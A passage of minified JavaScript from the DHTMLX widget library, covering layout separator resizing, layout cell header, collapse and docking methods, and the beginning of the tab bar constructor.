g=this._getLayout();this.conf.resize={sx:m,sy:l,tx:h.layerX,ty:h.layerY,sep_x:parseInt(this.sep.style.left),sep_y:parseInt(this.sep.style.top),min_wa:g.cdata.a._getAvailWidth(\"a\"),min_wb:g.cdata.b._getAvailWidth(\"b\"),min_ha:g.cdata.a._getAvailHeight(\"a\"),min_hb:g.cdata.b._getAvailHeight(\"b\")};this.conf.resize.nx=this.conf.resize.sep_x;this.conf.resize.ny=this.conf.resize.sep_y;if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",this._doOnMouseMove,false);window.addEventListener(\"mouseup\",this._doOnMouseUp,false);window.addEventListener(window.dhx4.dnd.evs.move,this._doOnMouseMove,false);window.addEventListener(window.dhx4.dnd.evs.end,this._doOnMouseUp,false)}else{document.body.attachEvent(\"onmousemove\",this._doOnMouseMove);document.body.attachEvent(\"onmouseup\",this._doOnMouseUp)}g=null};this._onResize=function(l){if(!this.conf.resize.active){this._initResizeArea();this.conf.resize.active=true}if(this.conf.mode==\"v\"){var g=(l.type==\"mousemove\"?l.clientX:(l.pageX||l.touches[0].pageX));var h=this.conf.resize.sx-g;this.conf.resize.nx=this.conf.resize.sep_x-h;if(this.conf.resize.nx>this.conf.resize.sep_x+this.conf.resize.min_wb){this.conf.resize.nx=this.conf.resize.sep_x+this.conf.resize.min_wb}else{if(this.conf.resize.nx<this.conf.resize.sep_x-this.conf.resize.min_wa){this.conf.resize.nx=this.conf.resize.sep_x-this.conf.resize.min_wa}}this.r_sep.style.left=this.conf.resize.nx+\"px\"}else{var m=(l.type==\"mousemove\"?l.clientY:(l.pageY||l.touches[0].pageY));var h=this.conf.resize.sy-m;this.conf.resize.ny=this.conf.resize.sep_y-h;if(this.conf.resize.ny>this.conf.resize.sep_y+this.conf.resize.min_hb){this.conf.resize.ny=this.conf.resize.sep_y+this.conf.resize.min_hb}else{if(this.conf.resize.ny<this.conf.resize.sep_y-this.conf.resize.min_ha){this.conf.resize.ny=this.conf.resize.sep_y-this.conf.resize.min_ha}}this.r_sep.style.top=this.conf.resize.ny+\"px\"}};this._afterResize=function(q){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",this._doOnMouseMove,false);window.removeEventListener(\"mouseup\",this._doOnMouseUp,false);window.removeEventListener(window.dhx4.dnd.evs.move,this._doOnMouseMove,false);window.removeEventListener(window.dhx4.dnd.evs.end,this._doOnMouseUp,false)}else{document.body.detachEvent(\"onmousemove\",this._doOnMouseMove);document.body.detachEvent(\"onmouseup\",this._doOnMouseUp)}if(!this.conf.resize.active){this.conf.resize=null;return}if(q.type==window.dhx4.dnd.evs.end){this.sep.className=this.sep.className.replace(/\\s{0,}dhxlayout_sep_resize_actv/gi,\"\")}else{if(q.button!==this.conf.btn_left){return}}var m=this._getLayout();var h=m._getMainInst();var n=(h.checkEvent(\"onPanelResizeFinish\")==true?{}:false);if(n!==false){h.forEachItem(function(s){n[s.conf.name]={w:s.conf.size.w,h:s.conf.size.h};s=null})}var l=this.conf.resize.nx-this.conf.resize.sep_x;var g=this.conf.resize.ny-this.conf.resize.sep_y;m.cdata.a._setSize(m.cdata.a.conf.size.x,m.cdata.a.conf.size.y,m.cdata.a.conf.size.w+l,m.cdata.a.conf.size.h+g,\"a\");m.cdata.b._setSize(m.cdata.b.conf.size.x+l,m.cdata.b.conf.size.y+g,m.cdata.b.conf.size.w-l,m.cdata.b.conf.size.h-g,\"b\");this._setSize(parseInt(this.r_sep.style.left),parseInt(this.r_sep.style.top),parseInt(this.r_sep.style.width),parseInt(this.r_sep.style.height));if(window.dhx4.isIE){var r=this;window.setTimeout(function(){r._removeResizeArea();r=null},1)}else{this._removeResizeArea()}if(n!==false){var o=[];h.forEachItem(function(s){var u=n[s.conf.name];if(!(u.w==s.conf.size.w&&u.h==s.conf.size.h)){o.push(s.conf.name)}s=null});h._callMainEvent(\"onPanelResizeFinish\",[o])}h=m=null;this.conf.resize.active=false;this.conf.resize=null;if(window.dhx4.dnd.p_en==true){window.dhx4.dnd._touchOn()}};this._initResizeArea=function(){if(this.r_sep==null){this.r_sep=document.createElement(\"DIV\");this.r_sep.className=\"dhxlayout_resize_sep\";this.r_sep.style.left=this.sep.style.left;this.r_sep.style.top=this.sep.style.top;this.r_sep.style.width=this.sep.style.width;this.r_sep.style.height=this.sep.style.height;this.sep.parentNode.appendChild(this.r_sep);if(window.dhx4.isIE){this.r_sep.onselectstart=function(){return false}}}if(this.r_area==null){this.r_area=document.createElement(\"DIV\");this.r_area.className=\"dhxlayout_resize_area\";this.sep.parentNode.appendChild(this.r_area);if(window.dhx4.isIE){this.r_area.onselectstart=function(){return false}}if(this.conf.mode==\"v\"){var g=parseInt(this.r_sep.style.left)-this.conf.resize.min_wa;var n=parseInt(this.r_sep.style.top);var l=this.conf.resize.min_wa+this.conf.resize.min_wb+parseInt(this.r_sep.style.width);var m=parseInt(this.r_sep.style.height)}else{var g=parseInt(this.r_sep.style.left);var n=parseInt(this.r_sep.style.top)-this.conf.resize.min_ha;var l=parseInt(this.r_sep.style.width);var m=this.conf.resize.min_ha+this.conf.resize.min_hb+parseInt(this.r_sep.style.height)}this.r_area.style.left=g+\"px\";this.r_area.style.top=n+\"px\";if(!dhtmlXLayoutObject.prototype._confGlob.reszieCover){dhtmlXLayoutObject.prototype._confGlob.reszieCover={};this.r_area.style.width=l+\"px\";this.r_area.style.height=m+\"px\";dhtmlXLayoutObject.prototype._confGlob.reszieCover.w=parseInt(this.r_area.style.width)-this.r_area.offsetWidth;dhtmlXLayoutObject.prototype._confGlob.reszieCover.h=parseInt(this.r_area.style.height)-this.r_area.offsetHeight}this.r_area.style.width=l+dhtmlXLayoutObject.prototype._confGlob.reszieCover.w+\"px\";this.r_area.style.height=m+dhtmlXLayoutObject.prototype._confGlob.reszieCover.h+\"px\"}document.body.className+=\" dhxlayout_resize_\"+this.conf.mode};this._removeResizeArea=function(){this.r_sep.onselectstart=null;this.r_sep.parentNode.removeChild(this.r_sep);this.r_sep=null;this.r_area.onselectstart=null;this.r_area.parentNode.removeChild(this.r_area);this.r_area=null;document.body.className=String(document.body.className).replace(/\\s{0,}dhxlayout_resize_[vh]/gi,\"\")};this._doOnMouseDown=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.cancelBubble=true}c._beforeResize(g)};this._doOnBodyMouseDown=function(g){g=g||event;if(c.conf.resize==null){return}if(c.conf.resize.active==true&&g.button!==c.conf.btn_left){if(g.preventDefault){g.preventDefault()}g.returnValue=false;g.cancelBubble=true;return false}};this._doOnMouseMove=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.cancelBubble=true}c._onResize(g)};this._doOnMouseUp=function(g){g=g||event;if(g.type==\"mouseup\"&&g.button!==c.conf.btn_left){return}c._afterResize(g)};if(typeof(window.addEventListener)==\"function\"){this.sep.addEventListener(\"mousedown\",this._doOnMouseDown,false);this.sep.addEventListener(window.dhx4.dnd.evs.start,this._doOnMouseDown,false);document.body.addEventListener(\"mousedown\",this._doOnBodyMouseDown,false);document.body.addEventListener(\"contextmenu\",this._doOnBodyMouseDown,false)}else{this.sep.attachEvent(\"onmousedown\",this._doOnMouseDown);document.body.attachEvent(\"onmousedown\",this._doOnBodyMouseDown);document.body.attachEvent(\"oncontextmenu\",this._doOnBodyMouseDown)}this._unload=function(){if(typeof(window.addEventListener)==\"function\"){this.sep.removeEventListener(\"mousedown\",this._doOnMouseDown,false);this.sep.removeEventListener(window.dhx4.dnd.evs.start,this._doOnMouseDown,false);document.body.removeEventListener(\"mousedown\",this._doOnBodyMouseDown,false);document.body.removeEventListener(\"contextmenu\",this._doOnBodyMouseDown,false)}else{this.sep.detachEvent(\"onmousedown\",this._doOnMouseDown);document.body.detachEvent(\"onmousedown\",this._doOnBodyMouseDown);document.body.detachEvent(\"oncontextmenu\",this._doOnBodyMouseDown)}if(window.dhx4.isIE==true){this.sep.onselectstart=null}this.sep.parentNode.removeChild(this.sep);this.sep=null;for(var g in this){this[g]=null}c=null};return this}dhtmlXLayoutObject.prototype.setSeparatorSize=function(e,g){if(typeof(e)==\"number\"){var h=this.setSeparatorSize({index:e,current:-1},g);if(h.sep!=null){h.sep._setWH(g)}return}for(var c in this.cdata){if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){e=this.cdata[c].dataObj.setSeparatorSize(e,g);if(e.sep!=null){return e}}if(c==\"a\"&&this.sep!=null){e.current++;if(e.index==e.current){return{sep:this.sep}}}}return e};window.dhtmlXLayoutCell=function(g,e){dhtmlXCellObject.apply(this,[g,\"_layout\"]);var c=this;this.layout=e;this.conf.skin=this.layout.conf.skin;this.conf.mode=this.layout.conf.mode;this.conf.collapsed=false;this.conf.fixed={w:false,h:false};this.conf.docked=true;this.conf.min_width=26;this.conf.min_height=26;this.attachEvent(\"_onCellUnload\",function(){this.cell.childNodes[this.conf.idx.hdr].ondblclick=null;if(this.conf.mode!=\"c\"){this.cell.childNodes[this.conf.idx.hdr].lastChild.ondblclick=null}this._unloadDocking();this.layout=null;c=null});this._hdrInit();this.cell.childNodes[this.conf.idx.hdr].ondblclick=function(){var h=c.layout._getMainInst();h._callMainEvent(\"onDblClick\",[c.conf.name]);h=null};this.attachEvent(\"_onContentLoaded\",function(){var h=this.layout._getMainInst();h._callMainEvent(\"onContentLoaded\",[this.conf.name]);h=null});if(this.conf.mode!=\"c\"){var a=document.createElement(\"DIV\");a.className=\"dhxlayout_arrow dhxlayout_arrow_\"+this.conf.mode+this._idd;this.cell.childNodes[this.conf.idx.hdr].appendChild(a);a.onclick=function(h){if(c.conf.collapsed){c.expand()}else{c.collapse()}};a=null}this.attachEvent(\"_onBeforeContentAttach\",function(h){if(h==\"tabbar\"||h==\"layout\"||h==\"acc\"){this._hideBorders()}if(h==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders();this.showHeader()}});this._initDocking();return this};dhtmlXLayoutCell.prototype=new dhtmlXCellObject();dhtmlXLayoutCell.prototype.getId=function(){return this.conf.name};dhtmlXLayoutCell.prototype._initDocking=function(){var a=this;this.dock=function(){var e=this.layout._getMainInst();if(e.dhxWins==null||this.conf.docked){e=null;return}var c=e.dhxWins.window(this.conf.name);c.close();this._attachFromCell(c);this.conf.docked=true;if(!this.conf.dock_collapsed){this.expand()}e._callMainEvent(\"onDock\",[this.conf.name]);e=c=null};this.undock=function(c,n,l,m){var g=this.layout._getMainInst();if(g.dhxWins==null||this.conf.docked==false){g=null;return}this.conf.dock_collapsed=this.conf.collapsed;if(!this.conf.collapsed){this.collapse()}if(g.dhxWins.window(this.conf.name)!=null){var e=g.dhxWins.window(this.conf.name);e.show()}else{if(c==null){c=20}if(n==null){n=20}if(l==null){l=320}if(m==null){m=200}var e=g.dhxWins.createWindow(this.conf.name,c,n,l,m);e.button(\"close\").hide();e.addUserButton(\"dock\",99,\"Dock\");e.button(\"dock\").show();e.button(\"dock\").attachEvent(\"onClick\",this._doOnDockClick);e.setText(this.getText());e.attachEvent(\"onClose\",this._doOnDockWinClose)}this.conf.docked=false;e._attachFromCell(this);g._callMainEvent(\"onUnDock\",[this.conf.name]);g=e=null};this._doOnDockClick=function(){a.dock()};this._doOnDockWinClose=function(c){c.hide();return false};this._unloadDocking=function(){a=null}};dhtmlXLayoutCell.prototype._hdrInit=function(){var c=\"\";if(window.dhx4.isIE){if(navigator.userAgent.indexOf(\"MSIE 9.0\")!=-1){c=\" dhx_cell_hdr_text_ie9\"}else{if(window.dhx4.isIE8){c=\" dhx_cell_hdr_text_ie8\"}else{if(window.dhx4.isIE7){c=\" dhx_cell_hdr_text_ie7\"}else{if(window.dhx4.isIE6){c=\" dhx_cell_hdr_text_ie6\"}}}}}else{if(window.dhx4.isChrome||window.dhx4.isKHTML){c=\" dhx_cell_hdr_text_chrome\"}}var a=document.createElement(\"DIV\");a.className=\"dhx_cell_hdr\";a.innerHTML=\"<div class='dhx_cell_hdr_text\"+c+\"'></div>\";this.cell.insertBefore(a,this.cell.childNodes[this.conf.idx.cont]);a=null;this.conf.ofs_nodes.t._getHdrHeight=\"func\";this.conf.hdr={visible:true};this.conf.idx_data.hdr=\"dhx_cell_hdr\";this._updateIdx();this.attachEvent(\"_onSetSize\",this._hdrOnSetSize);this.attachEvent(\"_onBorderChange\",this._hdrOnBorderChange);this.attachEvent(\"_onViewSave\",this._hdrOnViewSave);this.attachEvent(\"_onViewRestore\",this._hdrOnViewRestore)};dhtmlXLayoutCell.prototype.showHeader=function(a){if(this.conf.hdr.visible||this.conf.collapsed){return}if(this.conf.hdr.w_saved>this._getAvailWidth()||this.conf.hdr.h_saved>this._getAvailHeight()){return}this.conf.hdr.w_saved=this.conf.hdr.h_saved=null;this.conf.hdr.visible=true;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr\";if(a!==true){this._adjustCont(this._idd)}};dhtmlXLayoutCell.prototype.hideHeader=function(a){if(!this.conf.hdr.visible||this.conf.collapsed){return}this.conf.hdr.w_saved=this._getMinWidth(this._idd);this.conf.hdr.h_saved=this._getMinHeight(this._idd);this.conf.hdr.visible=false;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr dhx_cell_hdr_hidden\";this._hdrUpdBorder();this._mtbUpdBorder();if(a!==true){this._adjustCont(this._idd)}};dhtmlXLayoutCell.prototype.isHeaderVisible=function(){return(this.conf.hdr.visible==true)};dhtmlXLayoutCell.prototype.showArrow=function(){this.cell.childNodes[this.conf.idx.hdr].childNodes[1].style.display=\"\"};dhtmlXLayoutCell.prototype.hideArrow=function(){this.cell.childNodes[this.conf.idx.hdr].childNodes[1].style.display=\"none\"};dhtmlXLayoutCell.prototype.isArrowVisible=function(){return(this.cell.childNodes[this.conf.idx.hdr].childNodes[1].style.display==\"\")};dhtmlXLayoutCell.prototype.setText=function(a){this.conf.hdr.text=a;this._hdrUpdText()};dhtmlXLayoutCell.prototype.getText=function(){return this.conf.hdr.text};dhtmlXLayoutCell.prototype.setCollapsedText=function(a){this.conf.hdr.text_collapsed=a;this._hdrUpdText()};dhtmlXLayoutCell.prototype.getCollapsedText=function(){return(this.conf.hdr.text_collapsed!=null?this.conf.hdr.text_collapsed:this.conf.hdr.text)};dhtmlXLayoutCell.prototype._hdrUpdText=function(){var a=(this.conf.collapsed==true&&this.conf.hdr.text_collapsed!=null?this.conf.hdr.text_collapsed:this.conf.hdr.text);this.cell.childNodes[this.conf.idx.hdr].firstChild.innerHTML=\"<span>\"+a+\"</span>\"};dhtmlXLayoutCell.prototype._hdrUpdBorder=function(){if(this.conf.borders==true){this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr\"+(this.conf.hdr.visible?\"\":\" dhx_cell_hdr_hidden\")}else{if(!this.conf.hdr.visible){this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr dhx_cell_hdr_hidden_no_borders\"}}};dhtmlXLayoutCell.prototype._hdrOnSetSize=function(){if(this.conf.collapsed&&this.conf.mode==\"v\"){this._fitHdr()}};dhtmlXLayoutCell.prototype._hdrOnBorderChange=function(){this.hideHeader(true);this._hdrUpdBorder()};dhtmlXLayoutCell.prototype._hdrOnViewSave=function(a){this.views[a].hdr_vis=this.conf.hdr.visible};dhtmlXLayoutCell.prototype._hdrOnViewRestore=function(a){if(this.conf.hdr.visible!=this.views[a].hdr_vis){this[this.views[a].hdr_vis?\"showHeader\":\"hideHeader\"](true)}this.views[a].hdr_vis=null;delete this.views[a].hdr_vis};dhtmlXLayoutCell.prototype._getHdrHeight=function(a){if(this.conf.collapsed&&this.conf.mode==\"v\"&&a!==true){return 27}return this.cell.childNodes[this.conf.idx.hdr].offsetHeight};dhtmlXLayoutCell.prototype._fitHdr=function(){if(this.conf.collapsed){if(typeof(dhtmlXLayoutObject.prototype._confGlob.hdrColH)==\"undefined\"){this.cell.childNodes[this.conf.idx.hdr].style.height=this.cell.offsetHeight+\"px\";dhtmlXLayoutObject.prototype._confGlob.hdrColH=parseInt(this.cell.childNodes[this.conf.idx.hdr].style.height)-this._getHdrHeight(true)}this.cell.childNodes[this.conf.idx.hdr].style.height=this.cell.offsetHeight+dhtmlXLayoutObject.prototype._confGlob.hdrColH+\"px\"}else{this.cell.childNodes[this.conf.idx.hdr].style.height=null}};dhtmlXLayoutCell.prototype.expand=function(m){if(!this.conf.collapsed){return true}var e=this.layout;if(this.conf.mode==\"v\"){var l=(m?e.conf.hh:e.cdata[e.conf.nextCell[this._idd]]._getMinWidth(this._idd));var g=e.cont.offsetWidth-e.conf.sw;if(l+this.conf.size.w_avl>g){e=null;return false}}else{var h=(m?e.conf.hh:e.cdata[e.conf.nextCell[this._idd]]._getMinHeight(this._idd)+e.cdata[e.conf.nextCell[this._idd]]._getHdrHeight());var c=e.cont.offsetHeight-e.conf.sw;if(h+this.conf.size.h_avl>c){e=null;return false}}if(this.conf.docked==false){this.dock();return}this.cell.className=String(this.cell.className).replace(/\\s{0,}dhxlayout_collapsed_[hv]/gi,\"\");this.conf.collapsed=false;if(this.conf.mode==\"v\"){this.conf.size.w=Math.min(g-l,this.conf.size.w_saved);this.conf.size.w_saved=this.conf.size.w_avl=null}else{this.conf.size.h=Math.min(c-h,this.conf.size.h_saved);this.conf.size.h_saved=this.conf.size.h_avl=null}if(this.conf.mode==\"v\"){this._fitHdr()}e.setSizes(e.conf.nextCell[this._idd],e.conf.nextCell[this._idd],m==true,\"expand\");e.sep._blockSep();e=null;this._hdrUpdText();var a=this.layout._getMainInst();a._callMainEvent(\"onExpand\",[this.conf.name]);a=null;return true};dhtmlXLayoutCell.prototype.collapse=function(){if(this.conf.collapsed){return false}var c=this.layout;if(c.cdata[c.conf.nextCell[this._idd]].expand(true)==false){return false}if(this.conf.mode==\"v\"){this.conf.size.w_saved=this.conf.size.w;this.conf.size.w_avl=this._getMinWidth(this._idd)}else{this.conf.size.h_saved=this.conf.size.h;this.conf.size.h_avl=this._getMinHeight(this._idd)+this._getHdrHeight()}this.cell.className+=\" dhxlayout_collapsed_\"+this.conf.mode;this.conf.collapsed=true;if(this.conf.mode==\"v\"){this.conf.size.w=c.conf.hh}else{this.conf.size.h=this._getHdrHeight()}c.setSizes(c.conf.nextCell[this._idd],c.conf.nextCell[this._idd],false,\"collapse\");c.sep._blockSep();c=null;this._hdrUpdText();var a=this.layout._getMainInst();a._callMainEvent(\"onCollapse\",[this.conf.name]);a=null;return true};dhtmlXLayoutCell.prototype.isCollapsed=function(){return(this.conf.collapsed==true)};dhtmlXLayoutCell.prototype.setMinWidth=function(a){this.conf.min_width=parseInt(a)||0};dhtmlXLayoutCell.prototype.setMinHeight=function(a){this.conf.min_height=parseInt(a)||0};dhtmlXLayoutCell.prototype._getMinWidth=function(c){if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return Math.max(this.conf.min_width,this.dataObj.cdata.a._getMinWidth(c))}else{if(this.dataObj.conf.mode==\"v\"){var a=c||this._idd;if(this.dataObj.cdata[a].conf.collapsed){a=this.dataObj.conf.nextCell[a]}return Math.max(this.conf.min_width,this.dataObj.cdata[a]._getMinWidth(c)+this.dataObj.cdata[this.dataObj.conf.nextCell[a]]._getWidth()+this.dataObj.conf.sw)}else{return Math.max(this.conf.min_width,this.dataObj.cdata.a._getMinWidth(c),this.dataObj.cdata.b._getMinWidth(c))}}}return Math.max(this.conf.min_width,1)};dhtmlXLayoutCell.prototype._getMinHeight=function(e){var c=0;if(this.conf.idx.menu!=null){c+=this.cell.childNodes[this.conf.idx.menu].offsetHeight}if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return Math.max(this.conf.min_height,this.dataObj.cdata.a._getMinHeight(e))}else{if(this.dataObj.conf.mode==\"h\"){var a=e;if(this.dataObj.cdata[a].conf.collapsed){a=this.dataObj.conf.nextCell[a]}return Math.max(this.conf.min_height,this.dataObj.cdata[a]._getMinHeight(e)+this.dataObj.cdata[a]._getHdrHeight()+this.dataObj.cdata[this.dataObj.conf.nextCell[a]]._getHeight()+this.dataObj.conf.sw)}else{return Math.max(this.conf.min_height,this.dataObj.cdata.a._getMinHeight(e)+this.dataObj.cdata.a._getHdrHeight(),this.dataObj.cdata.b._getMinHeight(e)+this.dataObj.cdata.b._getHdrHeight())}}}return Math.max(this.conf.min_height,c)};dhtmlXLayoutCell.prototype._getAvailWidth=function(e){if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return this.dataObj.cdata.a._getAvailWidth(e)}else{if(this.dataObj.conf.mode==\"v\"){var a=(this.dataObj.cdata.a.conf.collapsed==true);var c=(this.dataObj.cdata.b.conf.collapsed==true);if(e==\"a\"){return this.dataObj.cdata[c?\"a\":\"b\"]._getAvailWidth(e)}else{return this.dataObj.cdata[a?\"b\":\"a\"]._getAvailWidth(e)}}else{return Math.min(this.dataObj.cdata.a._getAvailWidth(e),this.dataObj.cdata.b._getAvailWidth(e))}}}return this.cell.offsetWidth-this._getMinWidth()};dhtmlXLayoutCell.prototype._getAvailHeight=function(g){if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return this.dataObj.cdata.a._getAvailHeight(g)}else{if(this.dataObj.conf.mode==\"h\"){var c=(this.dataObj.cdata.a.conf.collapsed==true);var e=(this.dataObj.cdata.b.conf.collapsed==true);if(g==\"a\"){return this.dataObj.cdata[e?\"a\":\"b\"]._getAvailHeight(g)}else{return this.dataObj.cdata[c?\"b\":\"a\"]._getAvailHeight(g)}}else{return Math.min(this.dataObj.cdata.a._getAvailHeight(g),this.dataObj.cdata.b._getAvailHeight(g))}}}var a=this._getHdrHeight();if(this.conf.mode==\"v\"&&this.conf.collapsed){a=this.conf.hh}return this.cell.offsetHeight-a-this._getMinHeight()};dhtmlXLayoutCell.prototype.setWidth=function(g){if(this.conf.mode==\"v\"){if(this.conf.collapsed){return}var h=this.layout;var l=h.cdata[h.conf.nextCell[this._idd]];if(l.conf.collapsed){g=g+h.conf.sw+l._getWidth();m=h=l=null;return}var e=this._getMinWidth(this._idd);var n=h.cont.offsetWidth-l._getMinWidth(this._idd)-h.conf.sw;g=Math.max(e,Math.min(g,n));this.conf.size.w=g;h.setSizes(l._idd,l._idd);h=l=null}else{if(this.layout==null||this.layout.parentLayout==null){return}var m=this.layout.parentLayout;var h=this.layout;var l=h.cdata[h.conf.nextCell[this._idd]];for(var c in m.cdata){if(m.cdata[c].dataObj==h){m.cdata[c].setWidth(g)}}m=h=null}};dhtmlXLayoutCell.prototype.setHeight=function(n){if(this.conf.mode==\"h\"){if(this.conf.collapsed){return}var g=this.layout;var m=g.cdata[g.conf.nextCell[this._idd]];if(m.conf.collapsed){n=n+g.conf.sw+m._getHeight();var o=(this.layout!=null&&this.layout.parentLayout!=null?this.layout.parentLayout:null);if(o!=null){for(var c in o.cdata){if(o.cdata[c].dataObj==g){o.cdata[c].setHeight(n)}}}o=g=m=null;return}var l=this._getMinHeight(this._idd)+this._getHdrHeight();var e=g.cont.offsetHeight-m._getMinHeight(this._idd)-m._getHdrHeight()-g.conf.sw;n=Math.max(l,Math.min(n,e));this.conf.size.h=n;g.setSizes(m._idd,m._idd);g=m=null}else{if(this.layout==null||this.layout.parentLayout==null){return}var o=this.layout.parentLayout;var g=this.layout;var m=g.cdata[g.conf.nextCell[this._idd]];for(var c in o.cdata){if(o.cdata[c].dataObj==g){o.cdata[c].setHeight(n)}}o=g=null}};dhtmlXLayoutCell.prototype.getWidth=function(){return this.conf.size.w};dhtmlXLayoutCell.prototype.getHeight=function(){return this.conf.size.h};dhtmlXLayoutCell.prototype.fixSize=function(c,g){this.conf.fixed.w=window.dhx4.s2b(c);this.conf.fixed.h=window.dhx4.s2b(g);var a=this.layout._getMainInst();var e={};a.forEachItem(function(h){if(h.conf.fsize!=null){var o=h.getId();var n={h:(h.conf.fixed.w==true),v:(h.conf.fixed.h==true)};for(var l in n){if(n[l]==true&&h.conf.fsize[l]!=null){if(!(h.conf.fsize[l] instanceof Array)){h.conf.fsize[l]=[h.conf.fsize[l]]}for(var m=0;m<h.conf.fsize[l].length;m++){e[h.conf.fsize[l][m]]=true}}}}h=null});a._forEachSep(function(h){h._lockSep(e[h.conf.idx]==true);h=null});a=null};dhtmlXCellObject.prototype.attachLayout=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"layout\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(typeof(this._layoutMainInst)!=\"undefined\"){c._layoutMainInst=this._layoutMainInst}if(typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&this instanceof dhtmlXLayoutCell){c._isParentCell=true}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:-1,r:-1,l:-1,b:-1}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){if(this.conf.skin==\"dhx_web\"){c._ofs={l:8}}if(this.conf.skin==\"dhx_terrace\"){c._ofs={l:11}}else{c._ofs={l:-1}}}if(typeof(window.dhtmlXCarouselCell)!=\"undefined\"&&(this instanceof window.dhtmlXCarouselCell)){this._hideBorders()}if(typeof(a)==\"string\"){a={pattern:a}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=c;this.dataType=\"layout\";this.dataObj=new dhtmlXLayoutObject(a);if(this instanceof dhtmlXLayoutCell){this.dataObj.parentLayout=this.layout}c._layoutMainInst=null;a.parent=null;c=a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};function dhtmlXTabBar(g,m){var h=this;this.conf={skin:(window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtabbar\")||\"dhx_skyblue\"),css:\"dhxtabbar\",lastActive:null,closeButton:false,align:\"left\",tabsMode:(m==\"bottom\"?\"bottom\":\"top\"),tabsContCss:\"\",contZone:true,transSpeed:\"0.15s\",arwMode:\"always\",tabsOfs:1,tabsTop:0,url_demand:false,urls:{},autoload:{},tabsWidth:{dhx_terrace:[44,14],dhx_web:[35,9],dhx_skyblue:[35,9]}};var c=navigator.userAgent;if(c.indexOf(\"Safari\")>=0&&(c.indexOf(\"5.1.7\")>=0||(c.match(/7[\\.\\d]* mobile/gi)!=null&&c.match(/AppleWebKit/gi)!=null))){this.conf.tabsContCss=\" safari_517_fix\"}var l;if(g!=null&&typeof(g)==\"object\"&&typeof(g.tagName)==\"undefined\"){l=g.parent;if(typeof(g.skin)!=\"undefined\"){this.conf.skin=g.skin}if(typeof(g.mode)!=\"undefined\"){this.conf.tabsMode=(g.mode==\"bottom\"?\"bottom\":\"top\")}if(typeof(g.align)!=\"undefined\"){this.conf.align=(g.align==\"right\"?\"right\":\"left\")}if(typeof(g.close_button)!=\"undefined\"){this.conf.closeButton=window.dhx4.s2b(g.close_button)}if(typeof(g.content_zone)!=\"undefined\"){this.conf.contZone=window.dhx4.s2b(g.content_zone)}if(typeof(g.xml)!=\"undefined\"){this.conf.autoload.xml=g.xml}if(typeof(g.json)!=\"undefined\"){this.conf.autoload.xml=g.json}if(typeof(g.tabs)!=\"undefined\"){this.conf.autoload.tabs=g.tabs}if(typeof(g.onload)!=\"undefined\"){this.conf.autoload.tabs=g.tabs}if(typeof(g.arrows_mode)!=\"undefined\"){this.conf.autoload.arrows_mode=g.arrows_mode}}else{l=g}window.dhtmlXCellTop.apply(this,[l,g.offsets]);if(this.base._ofs!=null&&this.base._ofs.t!=null){this.conf.tabsTop=this.base._ofs.t}this.tabsMode=document.createElement(\"DIV\");this.tabsMode.className=\"dhxtabbar_tabs_\"+this.conf.tabsMode;this.cont.appendChild(this.tabsMode);this.tabsArea=document.createElement(\"DIV\");this.tabsArea.className=\"dhxtabbar_tabs dhxtabbar_tabs_\"+this.conf.tabsMode;this.tabsArea.innerHTML=\"<div class='dhxtabbar_tabs_ar_left'><div class='dhxtabbar_arrow_img'></div></div><div class='dhxtabbar_tabs_base'><div class='dhxtabbar_tabs_cont_\"+this.conf.align+this.conf.tabsContCss+\"'><div class='dhxtabbar_tabs_line'></div></div></div><div class='dhxtabbar_tabs_ar_right'><div class='dhxtabbar_arrow_img'></div></div>\";this.tabsArea.style.top=(this.conf.tabsMode==\"top\"?this.conf.tabsTop+\"px\":\"auto\");this.tabsMode.appendChild(this.tabsArea);this.tabsArea.childNodes[1].childNodes[0].style[this.conf.align]=\"0px\";this.tabsArea.childNodes[0].onclick=function(){if(h.conf.align==\"left\"){h._moveTabs(1)}else{h._moveTabs(-1)}};this.tabsArea.childNodes[2].onclick=function(){if(h.conf.align==\"left\"){h._moveTabs(-1)}else{h._moveTabs(1)}};this._onTabsAreaClick=function(a){return this._callMainEvent(\"onTabClose\",[a])};this.tabsArea.onclick=function(n){n=n||event;var 